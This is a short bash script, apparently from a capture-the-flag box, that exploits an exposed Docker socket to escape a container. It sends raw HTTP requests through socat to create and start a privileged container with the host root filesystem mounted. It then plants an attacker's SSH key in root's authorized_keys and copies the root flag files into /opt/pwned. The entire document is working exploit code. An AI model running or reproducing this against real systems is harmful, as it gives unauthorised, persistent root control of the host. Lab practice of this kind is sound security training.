#!/bin/bash
PUB='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIN8GyZ25STKmSa4RpJ5ph4zZfcTx+WA9QEBgb8eyEON root@kali'
BODY="{\"Image\":\"ubuntu:22.04\",\"Cmd\":[\"/bin/bash\",\"-c\",\"mkdir -p /host/root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIN8GyZ25STKmSa4RpJ5ph4zZfcTx+WA9QEBgb8eyEON root@kali' > /host/root/.ssh/authorized_keys; chmod 700 /host/root/.ssh; chmod 600 /host/root/.ssh/authorized_keys; cp /host/root/root.txt /opt/pwned/root_flag.txt 2>/dev/null; cp /host/root/*.txt /opt/pwned/ 2>/dev/null; echo ROOT_ESCAPED > /opt/pwned/escaped.txt\"],\"HostConfig\":{\"Binds\":[\"/:/host\"],\"Privileged\":true,\"PidMode\":\"host\"},\"Tty\":true}"
LEN=${#BODY}
{ printf 'POST /containers/create?name=esc HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: %s\r\n\r\n%s' "$LEN" "$BODY"; sleep 2; } | socat -t 2 - UNIX-CONNECT:/run/docker.sock.lol > /opt/pwned/create_out.txt 2>&1
sleep 3
{ printf 'POST /containers/esc/start HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n'; sleep 2; } | socat -t 2 - UNIX-CONNECT:/run/docker.sock.lol > /opt/pwned/start_out.txt 2>&1
echo DONE >> /opt/pwned/create_out.txt
echo DONE2 >> /opt/pwned/start_out.txt